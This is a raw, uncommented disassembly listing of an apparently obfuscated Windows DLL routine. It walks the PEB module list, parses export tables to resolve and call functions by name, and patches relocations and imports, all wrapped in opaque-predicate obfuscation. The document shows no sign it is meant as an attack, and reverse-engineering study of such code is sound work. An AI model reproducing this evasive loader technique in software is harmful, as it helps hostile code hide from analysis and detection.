test ecx, eax
sete r9b
setne bl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl al
mov edx, eax
xor dl, bl
and dl, al
and cl, r9b
and al, bl
or al, cl
test dl, al
jne 0x1800050a0
xor dl, al
je 0x18000511b
nop dword [rax]
mov eax, dword [r14]
mov rcx, qword [rsi + rax]
sub rcx, r15
add rcx, r11
add rcx, r15
mov qword [rsi + rax], rcx
mov eax, dword [0x180025458]
mov ebp, dword [0x18002545c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x3705f5c8
and edx, 0xc8fa0a37
or edx, eax
mov eax, edx
xor eax, 0xc8fa0a36
and eax, 0xfffffffe
xor edx, 0x3705f5c9
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne bl
cmp ebp, 9
setg cl
cmp ebp, 0xa
setl al
mov edx, eax
xor dl, bl
and dl, al
and cl, r8b
and al, bl
or al, cl
cmp dl, al
jne 0x180005160
xor dl, 1
xor al, 1
or al, dl
xor al, 1
jne 0x180005160
mov eax, dword [r14]
mov rcx, rsi
movabs rdx, 0xd657539d96adf9b1
sub rcx, rdx
sub rcx, r13
add rcx, rax
add rcx, r13
movabs rax, 0xc0bdd64c74a6cdb9
add rcx, rax
add rcx, rdx
sub rcx, rax
mov rax, qword [rcx]
add rax, rdi
add rax, r11
sub rax, rdi
mov qword [rcx], rax
jmp 0x1800050a0
mov eax, dword [r14]
movabs rdx, 0xc8337b841c045fea
lea rcx, [rdx + rsi]
sub rdx, rcx
movabs rcx, 0x8843dbe80bb740c0
sub rdx, rcx
sub rdx, rax
add rdx, rcx
add rdx, r10
mov rax, r10
sub rax, rdx
neg rdx
movabs rbp, 0xcf52104d8e2b138b
mov rcx, rbp
sub rcx, qword [rax]
sub rcx, rbp
movabs rbp, 0x866e9e348e89cac1
mov rax, rbp
sub rax, r11
sub rax, rbp
movabs rbp, 0x7432debb681d043a
add rcx, rbp
add rcx, rax
mov rax, rbp
sub rax, rcx
mov qword [r10 + rdx], rax
mov ebp, dword [0x180025458]
mov r8d, dword [0x18002545c]
lea eax, [rbp - 1]
imul eax, ebp
mov ecx, eax
not ecx
and ecx, 0x8d36dd72
and eax, 0x72c9228d
or eax, ecx
mov ecx, eax
xor ecx, 0x72c9228d
xor eax, 0x88049d12
and eax, 0x9a0cbd1a
mov edx, ecx
and edx, 0x65f342e5
or edx, eax
xor edx, 0x65f342e4
and ecx, 0xfffffffe
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp r8d, 0xa
setl al
cmp r8d, 9
setg bl
or bl, dl
xor bl, 1
xor al, cl
test bl, al
jne 0x180005250
xor bl, al
je 0x180005050
nop dword [rax + rax]
lea esi, [rbp - 1]
imul esi, ebp
mov edi, esi
not edi
mov eax, edi
and eax, 0xfffffffe
and esi, 1
or esi, eax
mov eax, esi
not eax
or eax, edi
cmp eax, 0xffffffff
sete cl
setne dl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl al
mov ebx, eax
xor bl, dl
and bl, al
and r9b, cl
and al, dl
or al, r9b
test bl, al
jne 0x18000529c
xor bl, al
je 0x180005340
movabs rax, 0x5b000c96b753a298
mov rdx, rax
sub r12, rax
movabs rax, 0x990b089be5c0e7ae
mov rcx, rax
sub r12, rax
add r12, rdx
movabs rax, 0xf56e9d21e24602b6
add r12, rax
add r12, rcx
sub r12, rax
add r12, 1
xor edi, esi
test edi, esi
sete sil
setne dl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov eax, ebx
xor al, dl
and al, bl
and cl, sil
and bl, dl
or bl, cl
cmp al, bl
jne 0x180004d90
xor al, 1
xor bl, 1
or bl, al
xor bl, 1
jne 0x180004d90
jmp 0x180005330
test bl, bl
je 0x180005320
jmp 0x180004c00
jmp 0x180005330
jmp 0x180005340
xor r13d, r13d
jmp 0x180002548
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x90]
mov r10, qword [rsp + 0x28]
mov edi, dword [r10 + rax + 0xc]
test edi, edi
je 0x180006638
add rax, r10
lea rcx, [r10 + 2]
mov qword [rsp + 0x48], rcx
mov r12b, 1
mov qword [rsp + 0x40], rax
lea ecx, [rbp - 1]
imul ecx, ebp
mov edx, ecx
not edx
and edx, 0x6c2e58a5
and ecx, 0x93d1a75a
or ecx, edx
mov edx, ecx
xor edx, 0x93d1a75a
and edx, 0xfffffffe
xor ecx, 0x6c2e58a4
or ecx, edx
cmp ecx, 0xffffffff
sete bl
setne al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
and bl, dl
or dl, al
xor dl, 1
and cl, al
or cl, bl
mov ebx, edi
test dl, cl
mov qword [rsp + 0x58], rbx
jne 0x1800053de
xor dl, cl
je 0x180005793
mov rcx, rbx
mov eax, dword [0x180025468]
mov edx, dword [0x18002546c]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov ebx, eax
and ebx, 0xa3774de3
and ebp, 0x5c88b21c
or ebp, ebx
xor ebp, 0xa3774de2
or ebp, eax
cmp ebp, 0xffffffff
sete r8b
setne r9b
cmp edx, 9
setg bl
cmp edx, 0xa
setl al
mov edx, eax
xor dl, r9b
and dl, al
and bl, r8b
and al, r9b
or al, bl
test dl, al
jne 0x180005441
xor dl, al
je 0x180006632
add rcx, r10
mov rax, qword gs:[0x60]
mov r8, qword [rax + 0x18]
add r8, 0x10
mov eax, dword [0x180025460]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
not edx
or edx, eax
cmp edx, 0xffffffff
setne al
cmp dword [0x180025464], 9
setg r9b
mov edx, r9d
or dl, al
xor r9b, al
mov eax, edx
xor al, r9b
xor r9b, 1
xor al, 1
or r9b, dl
xor r9b, 1
or r9b, al
mov eax, dword [0x180025470]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x42e591c7
and edx, 0xbd1a6e38
or edx, eax
mov ebp, edx
xor ebp, 0xbd1a6e38
xor edx, 0x42a51103
and edx, 0xcead7d1b
mov eax, ebp
and eax, 0x315282e4
or eax, edx
xor eax, 0x315282e5
and ebp, 0xfffffffe
or ebp, eax
cmp ebp, 0xffffffff
sete al
cmp dword [0x180025474], 0xa
setl r10b
mov edx, eax
xor dl, r10b
or r10b, al
xor r10b, 1
or r10b, dl
xor r10b, 1
mov eax, edx
and al, r10b
xor r10b, dl
or r10b, al
mov r11, r8
mov r11, qword [r11]
cmp r11, r8
je 0x180006500
test r9b, r9b
mov rsi, qword [rsp + 0x68]
je 0x180006600
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x180005531
test r10b, 1
je 0x180006620
movabs rax, 0xee2787ac84c0b87b
sub rsi, rax
movabs rdx, 0x900e1267ee80f9f7
sub rsi, rdx
add rsi, rax
sub rsi, qword [rsp + 0x90]
movabs rax, 0x8ca70df9badbc0d5
sub rsi, rax
add rsi, rdx
add rsi, rax
je 0x1800055e7
mov r14, qword [r11 + 0x60]
xor edi, edi
mov rbp, rsi
movzx eax, word [r14 + rdi*2]
test eax, eax
sete r15b
lea edx, [rax - 0x41]
lea ebx, [rax + 0x20]
cmp dx, 0x1a
cmovae ebx, eax
mov rax, qword [rsp + 0x68]
movsx eax, byte [rax + rdi + 1]
lea edx, [rax - 0x41]
lea r13d, [rax + 0x20]
cmp dl, 0x1a
cmovae r13d, eax
sub ebx, r13d
setne dl
xor dl, r15b
mov eax, edx
not al
and al, r15b
test al, dl
jne 0x1800055df
xor al, dl
jne 0x1800055df
add rbp, 0xffffffffffffffff
add rdi, 1
cmp rsi, rdi
jne 0x180005588
jmp 0x1800055e7
test ebx, ebx
jne 0x180005517
mov r9, qword [r11 + 0x30]
mov eax, dword [0x180025478]
mov ebp, dword [0x18002547c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete r10b
setne r8b
cmp ebp, 0xa
setl dl
cmp ebp, 9
setg al
and r10b, al
or al, r8b
mov ebx, eax
xor bl, 1
and dl, r8b
or dl, r10b
cmp bl, dl
mov r15, qword [rsp + 0xa0]
jne 0x18000564d
xor dl, 1
or al, dl
xor al, 1
je 0x180006634
movsxd rax, dword [r9 + 0x3c]
mov esi, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rsi + 0x1c]
mov eax, dword [0x180025480]
mov edx, dword [0x180025484]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edi, eax
and edi, 0x2fc724fb
and ebp, 0xd038db04
or ebp, edi
xor ebp, 0x2fc724fa
or ebp, eax
cmp ebp, 0xffffffff
sete r10b
setne r11b
cmp edx, 9
setg bl
cmp edx, 0xa
setl al
mov edx, eax
xor dl, r11b
and dl, al
and bl, r10b
and al, r11b
or al, bl
test dl, al
jne 0x1800056be
xor dl, al
je 0x180006636
add r8, r9
mov ebp, dword [r9 + rsi + 0x20]
mov r10d, dword [r9 + rsi + 0x24]
add rbp, r9
add r10, r9
mov edi, dword [rbp]
add rdi, r9
mov rsi, r15
nop word [rax + rax]
movzx eax, byte [rsi]
movzx r11d, byte [rdi]
cmp al, r11b
setne r14b
test al, al
sete bl
mov edx, ebx
and dl, r14b
xor bl, r14b
or bl, dl
jne 0x18000570c
add rsi, 1
add rdi, 1
xor bl, 1
jne 0x1800056e0
cmp al, r11b
je 0x18000571b
add rbp, 4
add r10, 2
jmp 0x1800056d1
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
call r9
mov qword [rsp + 0x60], rax
mov ebp, dword [0x180025458]
mov r8d, dword [0x18002545c]
lea eax, [rbp - 1]
imul eax, ebp
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xb6bcd226
and eax, 0x49432dd9
or eax, edx
xor eax, 0xb6bcd227
or eax, ecx
cmp eax, 0xffffffff
sete dl
cmp r8d, 0xa
setl al
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
xor al, 1
test cl, al
mov r14, qword [rsp + 0x68]
mov r10, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x58]
jne 0x180005fbf
xor cl, al
jne 0x180005fbf
lea rax, [r10 + rbx]
mov qword [rsp + 0x38], rax
mov eax, dword [0x180025468]
mov ecx, dword [0x18002546c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
not edx
or edx, eax
cmp edx, 0xffffffff
setne r8b
sete bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg dl
mov ecx, eax
or al, bl
and bl, dl
and cl, r8b
or cl, bl
xor dl, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
cmp cl, dl
jne 0x1800057ff
xor cl, 1
or cl, al
xor cl, 1
je 0x180006590
mov rax, qword gs:[0x60]
mov r8, qword [rax + 0x18]
add r8, 0x10
mov ecx, dword [0x180025460]
mov eax, dword [0x180025464]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xc2f4cbc4
mov ebp, ecx
and ebp, 0x3d0b343b
or ebp, edx
xor ebp, 0x3d0b343a
and ecx, 0xfffffffe
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xb944b187
and ecx, 0x46bb4e78
or ecx, edx
xor ecx, 0x46bb4e78
sete cl
setne dl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
and cl, al
or al, dl
and r9b, dl
or r9b, cl
xor r9b, 1
mov ecx, eax
xor cl, r9b
or r9b, al
xor r9b, 1
or r9b, cl
mov eax, dword [0x180025470]
mov ecx, dword [0x180025474]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov r10d, ebx
xor bl, dl
and dl, cl
and r10b, al
or r10b, dl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, r10b
xor r10b, 1
xor al, 1
or r10b, cl
xor r10b, 1
or r10b, al
mov r11, r8
mov r11, qword [r11]
cmp r11, r8
je 0x180005faf
test r9b, 1
mov rdi, qword [rsp + 0x68]
je 0x180006530
nop word cs:[rax + rax]
cmp byte [rdi + 1], 0
lea rdi, [rdi + 1]
jne 0x180005910
test r10b, 1
je 0x180006540
movabs rax, 0x7fd7d814d5e9ff13
mov rcx, rax
add rdi, rax
movabs rax, 0xc0b765e286da79a7
sub rdi, rax
sub rdi, qword [rsp + 0x90]
add rdi, rax
movabs rax, 0x7d4a40bcd481fb67
sub rdi, rax
sub rdi, rcx
add rdi, rax
je 0x1800059cb
mov r14, qword [r11 + 0x60]
xor esi, esi
mov r13, rdi
movzx eax, word [r14 + rsi*2]
test eax, eax
sete cl
lea ebp, [rax - 0x41]
lea edx, [rax + 0x20]
cmp bp, 0x1a
cmovae edx, eax
mov rax, qword [rsp + 0x68]
movsx eax, byte [rax + rsi + 1]
lea r15d, [rax - 0x41]
lea ebp, [rax + 0x20]
cmp r15b, 0x1a
cmovae ebp, eax
sub edx, ebp
setne bl
xor bl, cl
mov eax, ebx
xor al, 1
and cl, al
cmp cl, bl
jne 0x1800059c3
xor cl, 1
or cl, al
xor cl, 1
jne 0x1800059c3
add r13, 0xffffffffffffffff
add rsi, 1
cmp rdi, rsi
jne 0x18000596a
jmp 0x1800059cb
test edx, edx
jne 0x1800058eb
mov r9, qword [r11 + 0x30]
mov r11, qword [rsp + 0xa0]
mov eax, dword [0x180025478]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x403c4a5a
mov edx, eax
and edx, 0xbfc3b5a5
or edx, ecx
xor edx, 0xbfc3b5a4
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
setne dl
cmp dword [0x18002547c], 9
setg al
mov ecx, eax
or cl, dl
xor cl, 1
xor al, dl
test cl, al
jne 0x180005a27
xor cl, al
je 0x1800065a0
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rdi + 0x1c]
mov eax, dword [0x180025480]
mov esi, dword [0x180025484]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
and eax, 0xfffffffe
xor ebp, 1
or ebp, eax
cmp ebp, 0xffffffff
setne cl
sete dl
cmp esi, 0xa
setl bl
cmp esi, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
cmp bl, cl
jne 0x180005a90
xor bl, 1
or bl, al
xor bl, 1
je 0x1800065b0
add r8, r9
mov ebp, dword [r9 + rdi + 0x20]
mov esi, dword [r9 + rdi + 0x24]
add rbp, r9
add rsi, r9
mov ebx, dword [rbp]
add rbx, r9
mov rdi, r11
nop dword [rax]
movzx eax, byte [rdi]
movzx r10d, byte [rbx]
cmp al, r10b
sete cl
test al, al
sete dl
xor cl, dl
xor dl, cl
cmp dl, 1
jne 0x180005ad7
add rdi, 1
add rbx, 1
test cl, cl
jne 0x180005ab0
cmp al, r10b
je 0x180005ae6
add rbp, 4
add rsi, 2
jmp 0x180005aa3
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, qword [rsp + 0x38]
call r9
mov eax, dword [0x180025468]
mov ecx, dword [0x18002546c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
xor eax, edx
test eax, edx
setne dl
sete bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg cl
and bl, cl
and al, dl
or al, bl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
cmp al, dl
jne 0x180005b51
xor al, 1
or al, cl
xor al, 1
je 0x1800065c0
mov rax, qword gs:[0x60]
mov r11, qword [rax + 0x18]
add r11, 0x10
mov eax, dword [0x180025460]
mov ecx, dword [0x180025464]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xdf8a6f3
and edx, 0xf207590c
or edx, ebp
xor edx, 0xf207590d
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov r9d, ebx
xor bl, dl
and dl, cl
and r9b, al
or r9b, dl
or cl, al
xor cl, 1
or cl, bl
xor r9b, 1
mov eax, r9d
xor al, cl
or r9b, cl
xor r9b, 1
or r9b, al
mov ecx, dword [0x180025470]
mov eax, dword [0x180025474]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x818d6375
and edx, 0x7e729c8a
or edx, ecx
mov ecx, edx
xor ecx, 0x7e729c8a
and ecx, 0xfffffffe
xor edx, 0x818d6374
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2930988e
and edx, 0xd6cf6771
or edx, ecx
xor edx, 0xd6cf6771
setne cl
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl r10b
mov eax, edx
xor al, r10b
xor bl, cl
or r10b, dl
xor r10b, 1
or r10b, bl
xor r10b, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov qword [rsp + 0x20], r11
mov r11, qword [r11]
cmp r11, qword [rsp + 0x20]
je 0x180005fb7
test r9b, 1
mov rbx, qword [rsp + 0x68]
je 0x180006550
cmp byte [rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x180005c6f
test r10b, 1
je 0x180006560
movabs rax, 0xe621324d50932918
add rbx, rax
sub rbx, qword [rsp + 0x90]
movabs rcx, 0x49cdf3697674b99d
sub rbx, rcx
sub rbx, rax
add rbx, rcx
je 0x180005d61
mov r13, qword [r11 + 0x60]
xor ebp, ebp
mov rdi, rbx
movzx edx, word [r13 + rbp*2]
test edx, edx
setne r14b
sete r15b
lea eax, [rdx - 0x41]
lea ecx, [rdx + 0x20]
cmp ax, 0x1a
cmovae ecx, edx
mov rax, qword [rsp + 0x68]
movsx eax, byte [rax + rbp + 1]
lea esi, [rax - 0x41]
lea r8d, [rax + 0x20]
cmp sil, 0x1a
cmovae r8d, eax
sub ecx, r8d
setne r8b
sete al
xor al, r15b
and al, r15b
and r8b, r14b
or edx, ecx
sete dl
or dl, r8b
test al, dl
jne 0x180005d59
xor al, dl
jne 0x180005d59
movabs rax, 0x293aeee45c17aaef
mov rcx, rax
add rdi, rax
movabs rax, 0xd54f616e6f7f8d1d
sub rdi, rax
sub rdi, rcx
movabs rcx, 0x285a319467ba583c
sub rdi, rcx
add rdi, rax
add rdi, rcx
add rdi, 0xffffffffffffffff
add rbp, 1
cmp rbx, rbp
jne 0x180005cba
jmp 0x180005d61
test ecx, ecx
jne 0x180005c52
mov r9, qword [r11 + 0x30]
mov ecx, dword [0x180025478]
mov eax, dword [0x18002547c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x75cc0a2f
and edx, 0x8a33f5d0
or edx, ecx
mov ecx, edx
xor ecx, 0x8a33f5d0
xor edx, 0x5cc0207
and edx, 0x85ee32d7
mov ebp, ecx
and ebp, 0x7a11cd28
or ebp, edx
xor ebp, 0x7a11cd29
and ecx, 0xfffffffe
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x95462000
and ecx, 0x6ab9dfff
or ecx, edx
xor ecx, 0x6ab9dfff
setne cl
sete bl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
and al, bl
and cl, dl
or cl, al
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
cmp cl, al
mov r14, qword [rsp + 0xa0]
jne 0x180005e0b
xor cl, 1
or cl, dl
xor cl, 1
je 0x1800065d0
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rdi + 0x1c]
mov eax, dword [0x180025480]
mov ebp, dword [0x180025484]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x8f2eaac1
and edx, 0x70d1553e
or edx, eax
mov eax, edx
xor eax, 0x70d1553e
xor edx, 0x800888c0
and edx, 0xa008dcc6
mov ebx, eax
and ebx, 0x5ff72339
or ebx, edx
xor ebx, 0x5ff72338
and eax, 0xfffffffe
or eax, ebx
mov edx, eax
not edx
and edx, 0xb460fdad
and eax, 0x4b9f0252
or eax, edx
xor eax, 0x4b9f0252
sete bl
setne cl
cmp ebp, 0xa
setl al
cmp ebp, 9
setg dl
and bl, dl
or dl, cl
xor dl, 1
and al, cl
or al, bl
test dl, al
jne 0x180005ea6
xor dl, al
je 0x1800065e0
add r8, r9
mov ebp, dword [r9 + rdi + 0x20]
mov esi, dword [r9 + rdi + 0x24]
add rbp, r9
add rsi, r9
mov ebx, dword [rbp]
add rbx, r9
mov rdi, r14
nop word cs:[rax + rax]
nop dword [rax]
movzx r11d, byte [rdi]
movzx r10d, byte [rbx]
cmp r11b, r10b
sete cl
setne dl
test r11b, r11b
setne al
xor dl, al
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
jne 0x180005f04
add rdi, 1
add rbx, 1
test r12b, r12b
je 0x180005f04
jne 0x180005ed0
cmp r11b, r10b
je 0x180005f13
add rbp, 4
add rsi, 2
jmp 0x180005eb9
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, qword [rsp + 0x38]
call r9
mov ecx, dword [0x180025458]
mov eax, dword [0x18002545c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe0ce75be
and edx, 0x1f318a41
or edx, ecx
mov ebp, edx
xor ebp, 0x1f318a41
xor edx, 0xa0404522
and edx, 0xbb61c763
mov ecx, ebp
and ecx, 0x449e389c
or ecx, edx
xor ecx, 0x449e389d
and ebp, 0xfffffffe
or ebp, ecx
cmp ebp, 0xffffffff
sete r8b
setne bl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, bl
and cl, al
and dl, r8b
and al, bl
or al, dl
test cl, al
jne 0x180006508
xor cl, al
mov r10, qword [rsp + 0x28]
je 0x18000579c
jmp 0x18000651a
xor r9d, r9d
jmp 0x1800059cf
xor r9d, r9d
jmp 0x180005d65
mov rax, qword [rsp + 0x40]
mov edi, dword [rax]
mov esi, dword [rax + 0x10]
add rsi, r10
add rdi, r10
jmp 0x180006010
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, qword [rsp + 0x60]
call r9
mov rsi, qword [rsp + 0x38]
mov qword [rsi], rax
mov rdi, qword [rsp + 0x20]
add rdi, 8
add rsi, 8
mov ebp, dword [0x180025458]
mov r8d, dword [0x18002545c]
mov r14, qword [rsp + 0x68]
mov r10, qword [rsp + 0x28]
lea eax, [rbp - 1]
imul eax, ebp
mov ecx, eax
not ecx
and ecx, 0xd6a1fdb3
and eax, 0x295e024c
or eax, ecx
mov ecx, eax
xor ecx, 0x295e024c
and ecx, 0xfffffffe
xor eax, 0xd6a1fdb2
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xf2659015
and eax, 0xd9a6fea
or eax, ecx
xor eax, 0xd9a6fea
sete cl
setne dl
cmp r8d, 9
setg al
cmp r8d, 0xa
setl bl
and dl, bl
and al, cl
or al, dl
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
test al, 1
je 0x180006080
mov r9, qword [rdi]
test r9, r9
je 0x1800064e7
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x20], rdi
mov rcx, r9
not rcx
movabs rdx, 0xaace412ad1961604
and rcx, rdx
not rdx
mov rax, r9
and rax, rdx
or rax, rcx
xor rax, rdx
movabs rdx, 0xab80a0ceeb888b37
mov rcx, rdx
and rcx, 0xffffffffffff0000
not rdx
movzx ebx, dx
or rbx, rcx
xor rbx, rdx
movabs r8, 0xee7edcc59ac13d9a
mov rcx, r8
not rcx
mov rbp, rax
not rbp
mov rsi, rbx
not rsi
movabs r10, 0xeb0057219f8ae6eb
mov rdx, r10
not rdx
mov rdi, rbp
and rdi, r10
and rax, rdx
or rax, rdi
or rbp, rsi
and rsi, r10
and rbx, rdx
or rbx, rsi
xor rbx, rax
not rbp
or rdx, r10
and rdx, rbp
or rdx, rbx
mov rax, r8
and rax, rcx
xor rcx, r8
or rcx, rax
mov rax, rdx
not rax
movabs rbp, 0x761dd6143ee3720d
and rax, rbp
not rbp
and rdx, rbp
or rdx, rax
xor rdx, rbp
not rdx
not rcx
or rcx, rdx
movabs rdx, 0x8179d7915abb32ff
mov rax, rdx
not rax
or rax, rdx
not rcx
and rcx, rax
mov rax, qword [rsp + 0x48]
lea rdx, [rax + r9]
test r9, r9
cmovs rdx, rcx
mov eax, dword [0x180025468]
mov ecx, dword [0x18002546c]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov ebx, eax
and ebx, 0x251089ab
and ebp, 0xdaef7654
or ebp, ebx
xor ebp, 0xdaef7655
xor eax, ebp
test eax, ebp
sete r8b
setne r9b
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl al
mov ecx, eax
xor cl, r9b
and cl, al
and bl, r8b
and al, r9b
or al, bl
cmp cl, al
jne 0x1800061f2
xor cl, 1
xor al, 1
or al, cl
xor al, 1
je 0x1800065f0
mov rax, qword gs:[0x60]
mov r8, qword [rax + 0x18]
add r8, 0x10
mov eax, dword [0x180025460]
mov ecx, dword [0x180025464]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov ebx, eax
and ebx, 0xfffffffe
and ebp, 1
or ebp, ebx
xor eax, ebp
test eax, ebp
sete r10b
setne bl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r9b
mov ecx, r9d
xor cl, bl
and cl, r9b
and al, r10b
and r9b, bl
or r9b, al
xor cl, 1
xor r9b, 1
mov eax, ecx
xor al, r9b
or r9b, cl
xor r9b, 1
or r9b, al
mov eax, dword [0x180025470]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov ebp, eax
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne al
sete cl
cmp dword [0x180025474], 9
setg r10b
xor cl, r10b
mov ebx, r10d
and bl, al
xor r10b, al
or r10b, bl
mov eax, ecx
xor al, r10b
or r10b, cl
xor r10b, 1
or r10b, al
mov r11, r8
mov r11, qword [r11]
cmp r11, r8
je 0x1800064df
test r9b, 1
je 0x180006570
mov rsi, r14
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x1800062cd
test r10b, r10b
je 0x180006580
mov rax, qword [rsp + 0x90]
movabs rcx, 0xf9273c9ae09945fa
add rax, rcx
sub rcx, rax
add rsi, rcx
je 0x18000639e
mov r15, qword [r11 + 0x60]
xor edi, edi
mov r13, rsi
movzx ebp, word [r15 + rdi*2]
test ebp, ebp
sete bl
lea ecx, [rbp - 0x41]
lea eax, [rbp + 0x20]
cmp cx, 0x1a
cmovae eax, ebp
movsx ecx, byte [r14 + rdi + 1]
lea r14d, [rcx - 0x41]
lea ebp, [rcx + 0x20]
cmp r14b, 0x1a
cmovae ebp, ecx
sub eax, ebp
setne cl
xor cl, bl
mov r14d, ecx
xor r14b, 1
and bl, r14b
cmp bl, cl
jne 0x180006391
xor bl, 1
or bl, r14b
xor bl, 1
jne 0x180006391
movabs rcx, 0x63de449d61a2fdc4
mov rax, rcx
sub rax, r13
movabs rbx, 0x3315f51c8cff57e6
add rax, rbx
sub rcx, rax
lea r13, [rbx + rcx]
add r13, 0xffffffffffffffff
add rdi, 1
cmp rsi, rdi
mov r14, qword [rsp + 0x68]
jne 0x18000630a
jmp 0x18000639e
test eax, eax
mov r14, qword [rsp + 0x68]
jne 0x1800062b4
mov r9, qword [r11 + 0x30]
mov r15, qword [rsp + 0xb0]
mov eax, dword [0x180025478]
mov edi, dword [0x18002547c]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov ebx, eax
and ebx, 0x83afa4ca
and ebp, 0x7c505b35
or ebp, ebx
xor ebp, 0x7c505b34
xor eax, ebp
test eax, ebp
setne r8b
sete cl
cmp edi, 0xa
setl al
cmp edi, 9
setg bl
and cl, bl
and al, r8b
or al, cl
mov ecx, ebx
and cl, r8b
xor bl, r8b
or bl, cl
mov ecx, ebx
xor cl, 1
cmp al, cl
jne 0x180006413
xor al, 1
or al, bl
xor al, 1
je 0x180006610
movsxd rax, dword [r9 + 0x3c]
mov esi, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rsi + 0x1c]
mov eax, dword [0x180025480]
mov ebp, dword [0x180025484]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edi, eax
and edi, 0xfffffffe
and ebx, 1
or ebx, edi
xor eax, ebx
test eax, ebx
sete r10b
setne r11b
cmp ebp, 9
setg cl
cmp ebp, 0xa
setl al
mov ebx, eax
xor bl, r11b
and bl, al
and cl, r10b
and al, r11b
or al, cl
cmp bl, al
jne 0x18000647e
xor bl, 1
xor al, 1
or al, bl
xor al, 1
je 0x180006630
add r8, r9
mov ebp, dword [r9 + rsi + 0x20]
mov r10d, dword [r9 + rsi + 0x24]
add rbp, r9
add r10, r9
mov edi, dword [rbp]
add rdi, r9
mov rsi, r15
nop word [rax + rax]
movzx eax, byte [rsi]
movzx r11d, byte [rdi]
cmp al, r11b
setne r14b
test al, al
sete cl
mov ebx, ecx
and bl, r14b
xor cl, r14b
or cl, bl
jne 0x1800064cc
add rsi, 1
